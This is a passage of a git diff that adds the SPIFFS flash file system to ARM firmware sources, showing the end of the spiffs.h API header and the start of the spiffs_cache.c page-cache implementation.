SPIFFS_ERR_NOT_CONFIGURED -10024 + +#define SPIFFS_ERR_NOT_A_FS -10025 +#define SPIFFS_ERR_MOUNTED -10026 +#define SPIFFS_ERR_ERASE_FAIL -10027 +#define SPIFFS_ERR_MAGIC_NOT_POSSIBLE -10028 + +#define SPIFFS_ERR_NO_DELETED_BLOCKS -10029 + +#define SPIFFS_ERR_FILE_EXISTS -10030 + +#define SPIFFS_ERR_NOT_A_FILE -10031 +#define SPIFFS_ERR_RO_NOT_IMPL -10032 +#define SPIFFS_ERR_RO_ABORTED_OPERATION -10033 +#define SPIFFS_ERR_PROBE_TOO_FEW_BLOCKS -10034 +#define SPIFFS_ERR_PROBE_NOT_A_FS -10035 +#define SPIFFS_ERR_NAME_TOO_LONG -10036 + +#define SPIFFS_ERR_IX_MAP_UNMAPPED -10037 +#define SPIFFS_ERR_IX_MAP_MAPPED -10038 +#define SPIFFS_ERR_IX_MAP_BAD_RANGE -10039 + +#define SPIFFS_ERR_SEEK_BOUNDS -10040 + + +#define SPIFFS_ERR_INTERNAL -10050 + +#define SPIFFS_ERR_TEST -10100 + + +// spiffs file descriptor index type. must be signed +typedef s16_t spiffs_file; +// spiffs file descriptor flags +typedef u16_t spiffs_flags; +// spiffs file mode +typedef u16_t spiffs_mode; +// object type +typedef u8_t spiffs_obj_type; + +struct spiffs_t; + +#if SPIFFS_HAL_CALLBACK_EXTRA + +/* spi read call function type */ +typedef s32_t (*spiffs_read)(struct spiffs_t *fs, u32_t addr, u32_t size, u8_t *dst); +/* spi write call function type */ +typedef s32_t (*spiffs_write)(struct spiffs_t *fs, u32_t addr, u32_t size, u8_t *src); +/* spi erase call function type */ +typedef s32_t (*spiffs_erase)(struct spiffs_t *fs, u32_t addr, u32_t size); + +#else // SPIFFS_HAL_CALLBACK_EXTRA + +/* spi read call function type */ +typedef s32_t (*spiffs_read)(u32_t addr, u32_t size, u8_t *dst); +/* spi write call function type */ +typedef s32_t (*spiffs_write)(u32_t addr, u32_t size, u8_t *src); +/* spi erase call function type */ +typedef s32_t (*spiffs_erase)(u32_t addr, u32_t size); +#endif // SPIFFS_HAL_CALLBACK_EXTRA + +/* file system check callback report operation */ +typedef enum { + SPIFFS_CHECK_LOOKUP = 0, + SPIFFS_CHECK_INDEX, + SPIFFS_CHECK_PAGE +} spiffs_check_type; + +/* file system check callback report type */ +typedef enum { + SPIFFS_CHECK_PROGRESS = 0, + SPIFFS_CHECK_ERROR, + SPIFFS_CHECK_FIX_INDEX, + SPIFFS_CHECK_FIX_LOOKUP, + SPIFFS_CHECK_DELETE_ORPHANED_INDEX, + SPIFFS_CHECK_DELETE_PAGE, + SPIFFS_CHECK_DELETE_BAD_FILE +} spiffs_check_report; + +/* file system check callback function */ +#if SPIFFS_HAL_CALLBACK_EXTRA +typedef void (*spiffs_check_callback)(struct spiffs_t *fs, spiffs_check_type type, spiffs_check_report report, + u32_t arg1, u32_t arg2); +#else // SPIFFS_HAL_CALLBACK_EXTRA +typedef void (*spiffs_check_callback)(spiffs_check_type type, spiffs_check_report report, + u32_t arg1, u32_t arg2); +#endif // SPIFFS_HAL_CALLBACK_EXTRA + +/* file system listener callback operation */ +typedef enum { + /* the file has been created */ + SPIFFS_CB_CREATED = 0, + /* the file has been updated or moved to another page */ + SPIFFS_CB_UPDATED, + /* the file has been deleted */ + SPIFFS_CB_DELETED +} spiffs_fileop_type; + +/* file system listener callback function */ +typedef void (*spiffs_file_callback)(struct spiffs_t *fs, spiffs_fileop_type op, spiffs_obj_id obj_id, spiffs_page_ix pix); + +#ifndef SPIFFS_DBG +#define SPIFFS_DBG(...) \ + printf(__VA_ARGS__) +#endif +#ifndef SPIFFS_GC_DBG +#define SPIFFS_GC_DBG(...) printf(__VA_ARGS__) +#endif +#ifndef SPIFFS_CACHE_DBG +#define SPIFFS_CACHE_DBG(...) printf(__VA_ARGS__) +#endif +#ifndef SPIFFS_CHECK_DBG +#define SPIFFS_CHECK_DBG(...) printf(__VA_ARGS__) +#endif + +/* Any write to the filehandle is appended to end of the file */ +#define SPIFFS_APPEND (1<<0) +#define SPIFFS_O_APPEND SPIFFS_APPEND +/* If the opened file exists, it will be truncated to zero length before opened */ +#define SPIFFS_TRUNC (1<<1) +#define SPIFFS_O_TRUNC SPIFFS_TRUNC +/* If the opened file does not exist, it will be created before opened */ +#define SPIFFS_CREAT (1<<2) +#define SPIFFS_O_CREAT SPIFFS_CREAT +/* The opened file may only be read */ +#define SPIFFS_RDONLY (1<<3) +#define SPIFFS_O_RDONLY SPIFFS_RDONLY +/* The opened file may only be written */ +#define SPIFFS_WRONLY (1<<4) +#define SPIFFS_O_WRONLY SPIFFS_WRONLY +/* The opened file may be both read and written */ +#define SPIFFS_RDWR (SPIFFS_RDONLY | SPIFFS_WRONLY) +#define SPIFFS_O_RDWR SPIFFS_RDWR +/* Any writes to the filehandle will never be cached but flushed directly */ +#define SPIFFS_DIRECT (1<<5) +#define SPIFFS_O_DIRECT SPIFFS_DIRECT +/* If SPIFFS_O_CREAT and SPIFFS_O_EXCL are set, SPIFFS_open() shall fail if the file exists */ +#define SPIFFS_EXCL (1<<6) +#define SPIFFS_O_EXCL SPIFFS_EXCL + +#define SPIFFS_SEEK_SET (0) +#define SPIFFS_SEEK_CUR (1) +#define SPIFFS_SEEK_END (2) + +#define SPIFFS_TYPE_FILE (1) +#define SPIFFS_TYPE_DIR (2) +#define SPIFFS_TYPE_HARD_LINK (3) +#define SPIFFS_TYPE_SOFT_LINK (4) + +#ifndef SPIFFS_LOCK +#define SPIFFS_LOCK(fs) +#endif + +#ifndef SPIFFS_UNLOCK +#define SPIFFS_UNLOCK(fs) +#endif + +// phys structs + +// spiffs spi configuration struct +typedef struct { + // physical read function + spiffs_read hal_read_f; + // physical write function + spiffs_write hal_write_f; + // physical erase function + spiffs_erase hal_erase_f; +#if SPIFFS_SINGLETON == 0 + // physical size of the spi flash + u32_t phys_size; + // physical offset in spi flash used for spiffs, + // must be on block boundary + u32_t phys_addr; + // physical size when erasing a block + u32_t phys_erase_block; + + // logical size of a block, must be on physical + // block size boundary and must never be less than + // a physical block + u32_t log_block_size; + // logical size of a page, must be at least + // log_block_size / 8 + u32_t log_page_size; + +#endif +#if SPIFFS_FILEHDL_OFFSET + // an integer offset added to each file handle + u16_t fh_ix_offset; +#endif +} spiffs_config; + +typedef struct spiffs_t { + // file system configuration + spiffs_config cfg; + // number of logical blocks + u32_t block_count; + + // cursor for free blocks, block index + spiffs_block_ix free_cursor_block_ix; + // cursor for free blocks, entry index + int free_cursor_obj_lu_entry; + // cursor when searching, block index + spiffs_block_ix cursor_block_ix; + // cursor when searching, entry index + int cursor_obj_lu_entry; + + // primary work buffer, size of a logical page + u8_t *lu_work; + // secondary work buffer, size of a logical page + u8_t *work; + // file descriptor memory area + u8_t *fd_space; + // available file descriptors + u32_t fd_count; + + // last error + s32_t err_code; + + // current number of free blocks + u32_t free_blocks; + // current number of busy pages + u32_t stats_p_allocated; + // current number of deleted pages + u32_t stats_p_deleted; + // flag indicating that garbage collector is cleaning + u8_t cleaning; + // max erase count amongst all blocks + spiffs_obj_id max_erase_count; + +#if SPIFFS_GC_STATS + u32_t stats_gc_runs; +#endif + +#if SPIFFS_CACHE + // cache memory + void *cache; + // cache size + u32_t cache_size; +#if SPIFFS_CACHE_STATS + u32_t cache_hits; + u32_t cache_misses; +#endif +#endif + + // check callback function + spiffs_check_callback check_cb_f; + // file callback function + spiffs_file_callback file_cb_f; + // mounted flag + u8_t mounted; + // user data + void *user_data; + // config magic + u32_t config_magic; +} spiffs; + +/* spiffs file status struct */ +typedef struct { + spiffs_obj_id obj_id; + u32_t size; + spiffs_obj_type type; + spiffs_page_ix pix; + u8_t name[SPIFFS_OBJ_NAME_LEN]; +#if SPIFFS_OBJ_META_LEN + u8_t meta[SPIFFS_OBJ_META_LEN]; +#endif +} spiffs_stat; + +struct spiffs_dirent { + spiffs_obj_id obj_id; + u8_t name[SPIFFS_OBJ_NAME_LEN]; + spiffs_obj_type type; + u32_t size; + spiffs_page_ix pix; +#if SPIFFS_OBJ_META_LEN + u8_t meta[SPIFFS_OBJ_META_LEN]; +#endif +}; + +typedef struct { + spiffs *fs; + spiffs_block_ix block; + int entry; +} spiffs_DIR; + +#if SPIFFS_IX_MAP + +typedef struct { + // buffer with looked up data pixes + spiffs_page_ix *map_buf; + // precise file byte offset + u32_t offset; + // start data span index of lookup buffer + spiffs_span_ix start_spix; + // end data span index of lookup buffer + spiffs_span_ix end_spix; +} spiffs_ix_map; + +#endif + +// functions + +#if SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH && SPIFFS_SINGLETON==0 +/** + * Special function. This takes a spiffs config struct and returns the number + * of blocks this file system was formatted with. This function relies on + * that following info is set correctly in given config struct: + * + * phys_addr, log_page_size, and log_block_size. + * + * Also, hal_read_f must be set in the config struct. + * + * One must be sure of the correct page size and that the physical address is + * correct in the probed file system when calling this function. It is not + * checked if the phys_addr actually points to the start of the file system, + * so one might get a false positive if entering a phys_addr somewhere in the + * middle of the file system at block boundary. In addition, it is not checked + * if the page size is actually correct. If it is not, weird file system sizes + * will be returned. + * + * If this function detects a file system it returns the assumed file system + * size, which can be used to set the phys_size. + * + * Otherwise, it returns an error indicating why it is not regarded as a file + * system. + * + * Note: this function is not protected with SPIFFS_LOCK and SPIFFS_UNLOCK + * macros. It returns the error code directly, instead of as read by + * SPIFFS_errno. + * + * @param config essential parts of the physical and logical + * configuration of the file system. + */ +s32_t SPIFFS_probe_fs(spiffs_config *config); +#endif // SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH && SPIFFS_SINGLETON==0 + +/** + * Initializes the file system dynamic parameters and mounts the filesystem. + * If SPIFFS_USE_MAGIC is enabled the mounting may fail with SPIFFS_ERR_NOT_A_FS + * if the flash does not contain a recognizable file system. + * In this case, SPIFFS_format must be called prior to remounting. + * @param fs the file system struct + * @param config the physical and logical configuration of the file system + * @param work a memory work buffer comprising 2*config->log_page_size + * bytes used throughout all file system operations + * @param fd_space memory for file descriptors + * @param fd_space_size memory size of file descriptors + * @param cache memory for cache, may be null + * @param cache_size memory size of cache + * @param check_cb_f callback function for reporting during consistency checks + */ +s32_t SPIFFS_mount(spiffs *fs, spiffs_config *config, u8_t *work, + u8_t *fd_space, u32_t fd_space_size, + void *cache, u32_t cache_size, + spiffs_check_callback check_cb_f); + +/** + * Unmounts the file system. All file handles will be flushed of any + * cached writes and closed. + * @param fs the file system struct + */ +void SPIFFS_unmount(spiffs *fs); + +/** + * Creates a new file. + * @param fs the file system struct + * @param path the path of the new file + * @param mode ignored, for posix compliance + */ +s32_t SPIFFS_creat(spiffs *fs, const char *path, spiffs_mode mode); + +/** + * Opens/creates a file. + * @param fs the file system struct + * @param path the path of the new file + * @param flags the flags for the open command, can be combinations of + * SPIFFS_O_APPEND, SPIFFS_O_TRUNC, SPIFFS_O_CREAT, SPIFFS_O_RDONLY, + * SPIFFS_O_WRONLY, SPIFFS_O_RDWR, SPIFFS_O_DIRECT, SPIFFS_O_EXCL + * @param mode ignored, for posix compliance + */ +spiffs_file SPIFFS_open(spiffs *fs, const char *path, spiffs_flags flags, spiffs_mode mode); + +/** + * Opens a file by given dir entry. + * Optimization purposes, when traversing a file system with SPIFFS_readdir + * a normal SPIFFS_open would need to traverse the filesystem again to find + * the file, whilst SPIFFS_open_by_dirent already knows where the file resides. + * @param fs the file system struct + * @param e the dir entry to the file + * @param flags the flags for the open command, can be combinations of + * SPIFFS_APPEND, SPIFFS_TRUNC, SPIFFS_CREAT, SPIFFS_RD_ONLY, + * SPIFFS_WR_ONLY, SPIFFS_RDWR, SPIFFS_DIRECT. + * SPIFFS_CREAT will have no effect in this case. + * @param mode ignored, for posix compliance + */ +spiffs_file SPIFFS_open_by_dirent(spiffs *fs, struct spiffs_dirent *e, spiffs_flags flags, spiffs_mode mode); + +/** + * Opens a file by given page index. + * Optimization purposes, opens a file by directly pointing to the page + * index in the spi flash. + * If the page index does not point to a file header SPIFFS_ERR_NOT_A_FILE + * is returned. + * @param fs the file system struct + * @param page_ix the page index + * @param flags the flags for the open command, can be combinations of + * SPIFFS_APPEND, SPIFFS_TRUNC, SPIFFS_CREAT, SPIFFS_RD_ONLY, + * SPIFFS_WR_ONLY, SPIFFS_RDWR, SPIFFS_DIRECT. + * SPIFFS_CREAT will have no effect in this case. + * @param mode ignored, for posix compliance + */ +spiffs_file SPIFFS_open_by_page(spiffs *fs, spiffs_page_ix page_ix, spiffs_flags flags, spiffs_mode mode); + +/** + * Reads from given filehandle. + * @param fs the file system struct + * @param fh the filehandle + * @param buf where to put read data + * @param len how much to read + * @returns number of bytes read, or -1 if error + */ +s32_t SPIFFS_read(spiffs *fs, spiffs_file fh, void *buf, s32_t len); + +/** + * Writes to given filehandle. + * @param fs the file system struct + * @param fh the filehandle + * @param buf the data to write + * @param len how much to write + * @returns number of bytes written, or -1 if error + */ +s32_t SPIFFS_write(spiffs *fs, spiffs_file fh, void *buf, s32_t len); + +/** + * Moves the read/write file offset. Resulting offset is returned or negative if error. + * lseek(fs, fd, 0, SPIFFS_SEEK_CUR) will thus return current offset. + * @param fs the file system struct + * @param fh the filehandle + * @param offs how much/where to move the offset + * @param whence if SPIFFS_SEEK_SET, the file offset shall be set to offset bytes + * if SPIFFS_SEEK_CUR, the file offset shall be set to its current location plus offset + * if SPIFFS_SEEK_END, the file offset shall be set to the size of the file plus offse, which should be negative + */ +s32_t SPIFFS_lseek(spiffs *fs, spiffs_file fh, s32_t offs, int whence); + +/** + * Removes a file by path + * @param fs the file system struct + * @param path the path of the file to remove + */ +s32_t SPIFFS_remove(spiffs *fs, const char *path); + +/** + * Removes a file by filehandle + * @param fs the file system struct + * @param fh the filehandle of the file to remove + */ +s32_t SPIFFS_fremove(spiffs *fs, spiffs_file fh); + +/** + * Gets file status by path + * @param fs the file system struct + * @param path the path of the file to stat + * @param s the stat struct to populate + */ +s32_t SPIFFS_stat(spiffs *fs, const char *path, spiffs_stat *s); + +/** + * Gets file status by filehandle + * @param fs the file system struct + * @param fh the filehandle of the file to stat + * @param s the stat struct to populate + */ +s32_t SPIFFS_fstat(spiffs *fs, spiffs_file fh, spiffs_stat *s); + +/** + * Flushes all pending write operations from cache for given file + * @param fs the file system struct + * @param fh the filehandle of the file to flush + */ +s32_t SPIFFS_fflush(spiffs *fs, spiffs_file fh); + +/** + * Closes a filehandle. If there are pending write operations, these are finalized before closing. + * @param fs the file system struct + * @param fh the filehandle of the file to close + */ +s32_t SPIFFS_close(spiffs *fs, spiffs_file fh); + +/** + * Renames a file + * @param fs the file system struct + * @param old path of file to rename + * @param newPath new path of file + */ +s32_t SPIFFS_rename(spiffs *fs, const char *old_path, const char *new_path); + +#if SPIFFS_OBJ_META_LEN +/** + * Updates file's metadata + * @param fs the file system struct + * @param path path to the file + * @param meta new metadata. must be SPIFFS_OBJ_META_LEN bytes long. + */ +s32_t SPIFFS_update_meta(spiffs *fs, const char *name, const void *meta); + +/** + * Updates file's metadata + * @param fs the file system struct + * @param fh file handle of the file + * @param meta new metadata. must be SPIFFS_OBJ_META_LEN bytes long. + */ +s32_t SPIFFS_fupdate_meta(spiffs *fs, spiffs_file fh, const void *meta); +#endif + +/** + * Returns last error of last file operation. + * @param fs the file system struct + */ +s32_t SPIFFS_errno(spiffs *fs); + +/** + * Clears last error. + * @param fs the file system struct + */ +void SPIFFS_clearerr(spiffs *fs); + +/** + * Opens a directory stream corresponding to the given name. + * The stream is positioned at the first entry in the directory. + * On hydrogen builds the name argument is ignored as hydrogen builds always correspond + * to a flat file structure - no directories. + * @param fs the file system struct + * @param name the name of the directory + * @param d pointer the directory stream to be populated + */ +spiffs_DIR *SPIFFS_opendir(spiffs *fs, const char *name, spiffs_DIR *d); + +/** + * Closes a directory stream + * @param d the directory stream to close + */ +s32_t SPIFFS_closedir(spiffs_DIR *d); + +/** + * Reads a directory into given spifs_dirent struct. + * @param d pointer to the directory stream + * @param e the dirent struct to be populated + * @returns null if error or end of stream, else given dirent is returned + */ +struct spiffs_dirent *SPIFFS_readdir(spiffs_DIR *d, struct spiffs_dirent *e); + +/** + * Runs a consistency check on given filesystem. + * @param fs the file system struct + */ +s32_t SPIFFS_check(spiffs *fs); + +/** + * Returns number of total bytes available and number of used bytes. + * This is an estimation, and depends on if there a many files with little + * data or few files with much data. + * NB: If used number of bytes exceeds total bytes, a SPIFFS_check should + * run. This indicates a power loss in midst of things. In worst case + * (repeated powerlosses in mending or gc) you might have to delete some files. + * + * @param fs the file system struct + * @param total total number of bytes in filesystem + * @param used used number of bytes in filesystem + */ +s32_t SPIFFS_info(spiffs *fs, u32_t *total, u32_t *used); + +/** + * Formats the entire file system. All data will be lost. + * The filesystem must not be mounted when calling this. + * + * NB: formatting is awkward. Due to backwards compatibility, SPIFFS_mount + * MUST be called prior to formatting in order to configure the filesystem. + * If SPIFFS_mount succeeds, SPIFFS_unmount must be called before calling + * SPIFFS_format. + * If SPIFFS_mount fails, SPIFFS_format can be called directly without calling + * SPIFFS_unmount first. + * + * @param fs the file system struct + */ +s32_t SPIFFS_format(spiffs *fs); + +/** + * Returns nonzero if spiffs is mounted, or zero if unmounted. + * @param fs the file system struct + */ +u8_t SPIFFS_mounted(spiffs *fs); + +/** + * Tries to find a block where most or all pages are deleted, and erase that + * block if found. Does not care for wear levelling. Will not move pages + * around. + * If parameter max_free_pages are set to 0, only blocks with only deleted + * pages will be selected. + * + * NB: the garbage collector is automatically called when spiffs needs free + * pages. The reason for this function is to give possibility to do background + * tidying when user knows the system is idle. + * + * Use with care. + * + * Setting max_free_pages to anything larger than zero will eventually wear + * flash more as a block containing free pages can be erased. + * + * Will set err_no to SPIFFS_OK if a block was found and erased, + * SPIFFS_ERR_NO_DELETED_BLOCK if no matching block was found, + * or other error. + * + * @param fs the file system struct + * @param max_free_pages maximum number allowed free pages in block + */ +s32_t SPIFFS_gc_quick(spiffs *fs, u16_t max_free_pages); + +/** + * Will try to make room for given amount of bytes in the filesystem by moving + * pages and erasing blocks. + * If it is physically impossible, err_no will be set to SPIFFS_ERR_FULL. If + * there already is this amount (or more) of free space, SPIFFS_gc will + * silently return. It is recommended to call SPIFFS_info before invoking + * this method in order to determine what amount of bytes to give. + * + * NB: the garbage collector is automatically called when spiffs needs free + * pages. The reason for this function is to give possibility to do background + * tidying when user knows the system is idle. + * + * Use with care. + * + * @param fs the file system struct + * @param size amount of bytes that should be freed + */ +s32_t SPIFFS_gc(spiffs *fs, u32_t size); + +/** + * Check if EOF reached. + * @param fs the file system struct + * @param fh the filehandle of the file to check + */ +s32_t SPIFFS_eof(spiffs *fs, spiffs_file fh); + +/** + * Get position in file. + * @param fs the file system struct + * @param fh the filehandle of the file to check + */ +s32_t SPIFFS_tell(spiffs *fs, spiffs_file fh); + +/** + * Registers a callback function that keeps track on operations on file + * headers. Do note, that this callback is called from within internal spiffs + * mechanisms. Any operations on the actual file system being callbacked from + * in this callback will mess things up for sure - do not do this. + * This can be used to track where files are and move around during garbage + * collection, which in turn can be used to build location tables in ram. + * Used in conjuction with SPIFFS_open_by_page this may improve performance + * when opening a lot of files. + * Must be invoked after mount. + * + * @param fs the file system struct + * @param cb_func the callback on file operations + */ +s32_t SPIFFS_set_file_callback_func(spiffs *fs, spiffs_file_callback cb_func); + +#if SPIFFS_IX_MAP + +/** + * Maps the first level index lookup to a given memory map. + * This will make reading big files faster, as the memory map will be used for + * looking up data pages instead of searching for the indices on the physical + * medium. When mapping, all affected indicies are found and the information is + * copied to the array. + * Whole file or only parts of it may be mapped. The index map will cover file + * contents from argument offset until and including arguments (offset+len). + * It is valid to map a longer range than the current file size. The map will + * then be populated when the file grows. + * On garbage collections and file data page movements, the map array will be + * automatically updated. Do not tamper with the map array, as this contains + * the references to the data pages. Modifying it from outside will corrupt any + * future readings using this file descriptor. + * The map will no longer be used when the file descriptor closed or the file + * is unmapped. + * This can be useful to get faster and more deterministic timing when reading + * large files, or when seeking and reading a lot within a file. + * @param fs the file system struct + * @param fh the file handle of the file to map + * @param map a spiffs_ix_map struct, describing the index map + * @param offset absolute file offset where to start the index map + * @param len length of the mapping in actual file bytes + * @param map_buf the array buffer for the look up data - number of required + * elements in the array can be derived from function + * SPIFFS_bytes_to_ix_map_entries given the length + */ +s32_t SPIFFS_ix_map(spiffs *fs, spiffs_file fh, spiffs_ix_map *map, + u32_t offset, u32_t len, spiffs_page_ix *map_buf); + +/** + * Unmaps the index lookup from this filehandle. All future readings will + * proceed as normal, requiring reading of the first level indices from + * physical media. + * The map and map buffer given in function SPIFFS_ix_map will no longer be + * referenced by spiffs. + * It is not strictly necessary to unmap a file before closing it, as closing + * a file will automatically unmap it. + * @param fs the file system struct + * @param fh the file handle of the file to unmap + */ +s32_t SPIFFS_ix_unmap(spiffs *fs, spiffs_file fh); + +/** + * Moves the offset for the index map given in function SPIFFS_ix_map. Parts or + * all of the map buffer will repopulated. + * @param fs the file system struct + * @param fh the mapped file handle of the file to remap + * @param offset new absolute file offset where to start the index map + */ +s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offset); + +/** + * Utility function to get number of spiffs_page_ix entries a map buffer must + * contain on order to map given amount of file data in bytes. + * See function SPIFFS_ix_map and SPIFFS_ix_map_entries_to_bytes. + * @param fs the file system struct + * @param bytes number of file data bytes to map + * @return needed number of elements in a spiffs_page_ix array needed to + * map given amount of bytes in a file + */ +s32_t SPIFFS_bytes_to_ix_map_entries(spiffs *fs, u32_t bytes); + +/** + * Utility function to amount of file data bytes that can be mapped when + * mapping a file with buffer having given number of spiffs_page_ix entries. + * See function SPIFFS_ix_map and SPIFFS_bytes_to_ix_map_entries. + * @param fs the file system struct + * @param map_page_ix_entries number of entries in a spiffs_page_ix array + * @return amount of file data in bytes that can be mapped given a map + * buffer having given amount of spiffs_page_ix entries + */ +s32_t SPIFFS_ix_map_entries_to_bytes(spiffs *fs, u32_t map_page_ix_entries); + +#endif // SPIFFS_IX_MAP + + +#if SPIFFS_TEST_VISUALISATION +/** + * Prints out a visualization of the filesystem. + * @param fs the file system struct + */ +s32_t SPIFFS_vis(spiffs *fs); +#endif + +#if SPIFFS_BUFFER_HELP +/** + * Returns number of bytes needed for the filedescriptor buffer given + * amount of file descriptors. + */ +u32_t SPIFFS_buffer_bytes_for_filedescs(spiffs *fs, u32_t num_descs); + +#if SPIFFS_CACHE +/** + * Returns number of bytes needed for the cache buffer given + * amount of cache pages. + */ +u32_t SPIFFS_buffer_bytes_for_cache(spiffs *fs, u32_t num_pages); +#endif +#endif + +#if SPIFFS_CACHE +#endif +#if defined(__cplusplus) +} +#endif + +#endif /* SPIFFS_H_ */ diff --git a/armsrc/spiffs_cache.c b/armsrc/spiffs_cache.c new file mode 100644 index 000000000..98acc4c2f --- /dev/null +++ b/armsrc/spiffs_cache.c @@ -0,0 +1,319 @@ +/* + * spiffs_cache.c + * + * Created on: Jun 23, 2013 + * Author: petera + */ + +#include "spiffs.h" +#include "spiffs_nucleus.h" + +#if SPIFFS_CACHE + +// returns cached page for give page index, or null if no such cached page +static spiffs_cache_page *spiffs_cache_page_get(spiffs *fs, spiffs_page_ix pix) { + spiffs_cache *cache = spiffs_get_cache(fs); + if ((cache->cpage_use_map & cache->cpage_use_mask) == 0) return 0; + int i; + for (i = 0; i < cache->cpage_count; i++) { + spiffs_cache_page *cp = spiffs_get_cache_page_hdr(fs, cache, i); + if ((cache->cpage_use_map & (1 << i)) && + (cp->flags & SPIFFS_CACHE_FLAG_TYPE_WR) == 0 && + cp->ucache.spix.pix == pix) { + //SPIFFS_CACHE_DBG("CACHE_GET: have cache page "_SPIPRIi" for "_SPIPRIpg"\n", i, pix); + cp->last_access = cache->last_access; + return cp; + } + } + //SPIFFS_CACHE_DBG("CACHE_GET: no cache for "_SPIPRIpg"\n", pix); + return 0; +} + +// frees cached page +static s32_t spiffs_cache_page_free(spiffs *fs, int ix, u8_t write_back) { + s32_t res = SPIFFS_OK; + spiffs_cache *cache = spiffs_get_cache(fs); + spiffs_cache_page *cp = spiffs_get_cache_page_hdr(fs, cache, ix); + if (cache->cpage_use_map & (1 << ix)) { + if (write_back && + (cp->flags & SPIFFS_CACHE_FLAG_TYPE_WR) == 0 && + (cp->flags & SPIFFS_CACHE_FLAG_DIRTY)) { + u8_t *mem = spiffs_get_cache_page(fs, cache, ix); + SPIFFS_CACHE_DBG("CACHE_FREE: write cache page "_SPIPRIi" pix "_SPIPRIpg"\n", ix, cp->ucache.spix.pix); + res = SPIFFS_HAL_WRITE(fs, SPIFFS_PAGE_TO_PADDR(fs, cp->ucache.spix.pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), mem); + } + +#if SPIFFS_CACHE_WR + if (cp->flags & SPIFFS_CACHE_FLAG_TYPE_WR) { + SPIFFS_CACHE_DBG("CACHE_FREE: free cache page "_SPIPRIi" objid "_SPIPRIid"\n", ix, cp->ucache.swrc.obj_id); + } else +#endif + { + SPIFFS_CACHE_DBG("CACHE_FREE: free cache page "_SPIPRIi" pix "_SPIPRIpg"\n", ix, cp->ucache.spix.pix); + } + cache->cpage_use_map &= ~(1 << ix); + cp->flags = 0; + } + + return res; +} + +// removes the oldest accessed cached page +static s32_t spiffs_cache_page_remove_oldest(spiffs *fs, u8_t flag_mask, u8_t flags) { + s32_t res = SPIFFS_OK; + spiffs_cache *cache = spiffs_get_cache(fs); + + if ((cache->cpage_use_map & cache->cpage_use_mask) != cache->cpage_use_mask) { + // at least one free cpage + return SPIFFS_OK; + } + + // all busy, scan thru all to find the cpage which has oldest access + int i; + int cand_ix = -1; + u32_t oldest_val = 0; + for (i = 0; i < cache->cpage_count; i++) { + spiffs_cache_page *cp = spiffs_get_cache_page_hdr(fs, cache, i); + if ((cache->last_access - cp->last_access) > oldest_val && + (cp->flags & flag_mask) == flags) { + oldest_val = cache->last_access - cp->last_access; + cand_ix = i; + } + } + + if (cand_ix >= 0) { + res = spiffs_cache_page_free(fs, cand_ix, 1); + } + + return res; +} + +// allocates a new cached page and returns it, or null if all cache pages are busy +static spiffs_cache_page *spiffs_cache_page_allocate(spiffs *fs) { + spiffs_cache *cache = spiffs_get_cache(fs); + if (cache->cpage_use_map == 0xffffffff) { + // out of cache memory + return 0; + } + int i; + for (i = 0; i < cache->cpage_count; i++) { + if ((cache->cpage_use_map & (1 << i)) == 0) { + spiffs_cache_page *cp = spiffs_get_cache_page_hdr(fs, cache, i); + cache->cpage_use_map |= (1 << i); + cp->last_access = cache->last_access; + //SPIFFS_CACHE_DBG("CACHE_ALLO: allocated cache page "_SPIPRIi"\n", i); + return cp; + } + } + // out of cache entries + return 0; +} + +// drops the cache page for give page index +void spiffs_cache_drop_page(spiffs *fs, spiffs_page_ix pix) { + spiffs_cache_page *cp = spiffs_cache_page_get(fs, pix); + if (cp) { + spiffs_cache_page_free(fs, cp->ix, 0); + } +} + +// ------------------------------ + +// reads from spi flash or the cache +s32_t spiffs_phys_rd( + spiffs *fs, + u8_t op, + spiffs_file fh, + u32_t addr, + u32_t len, + u8_t *dst) { + (void)fh; + s32_t res = SPIFFS_OK; + spiffs_cache *cache = spiffs_get_cache(fs); + spiffs_cache_page *cp = spiffs_cache_page_get(fs, SPIFFS_PADDR_TO_PAGE(fs, addr)); + cache->last_access++; + if (cp) { + // we've already got one, you see +#if SPIFFS_CACHE_STATS + fs->cache_hits++; +#endif + cp->last_access = cache->last_access; + u8_t *mem = spiffs_get_cache_page(fs, cache, cp->ix); + _SPIFFS_MEMCPY(dst, &mem[SPIFFS_PADDR_TO_PAGE_OFFSET(fs, addr)], len); + } else { + if ((op & SPIFFS_OP_TYPE_MASK) == SPIFFS_OP_T_OBJ_LU2) { + // for second layer lookup functions, we do not cache in order to prevent shredding + return SPIFFS_HAL_READ(fs, addr, len, dst); + } +#if SPIFFS_CACHE_STATS + fs->cache_misses++; +#endif + // this operation will always free one cache page (unless all already free), + // the result code stems from the write operation of the possibly freed cache page + res = spiffs_cache_page_remove_oldest(fs, SPIFFS_CACHE_FLAG_TYPE_WR, 0); + + cp = spiffs_cache_page_allocate(fs); + if (cp) { + cp->flags = SPIFFS_CACHE_FLAG_WRTHRU; + cp->ucache.spix.pix = SPIFFS_PADDR_TO_PAGE(fs, addr); + SPIFFS_CACHE_DBG("CACHE_ALLO: allocated cache page "_SPIPRIi" for pix "_SPIPRIpg "\n", cp->ix, cp->ucache.spix.pix); + + s32_t res2 = SPIFFS_HAL_READ(fs, + addr - SPIFFS_PADDR_TO_PAGE_OFFSET(fs, addr), + SPIFFS_CFG_LOG_PAGE_SZ(fs), + spiffs_get_cache_page(fs, cache, cp->ix)); + if (res2 != SPIFFS_OK) { + // honor read failure before possible write failure (bad idea?) + res = res2; + } + u8_t *mem = spiffs_get_cache_page(fs, cache, cp->ix); + _SPIFFS_MEMCPY(dst, &mem[SPIFFS_PADDR_TO_PAGE_OFFSET(fs, addr)], len); + } else { + // this will never happen, last resort for sake of symmetry + s32_t res2 = SPIFFS_HAL_READ(fs, addr, len, dst); + if (res2 != SPIFFS_OK) { + // honor read failure before possible write failure (bad idea?) + res = res2; + } + } + } + return res; +} + +// writes to spi flash and/or the cache +s32_t spiffs_phys_wr( + spiffs *fs, + u8_t op, + spiffs_file fh, + u32_t addr, + u32_t len, + u8_t *src) { + (void)fh; + spiffs_page_ix pix = SPIFFS_PADDR_TO_PAGE(fs, addr); + spiffs_cache *cache = spiffs_get_cache(fs); + spiffs_cache_page *cp = spiffs_cache_page_get(fs, pix); + + if (cp && (op & SPIFFS_OP_COM_MASK) != SPIFFS_OP_C_WRTHRU) { + // have a cache page + // copy in data to cache page + + if ((op & SPIFFS_OP_COM_MASK) == 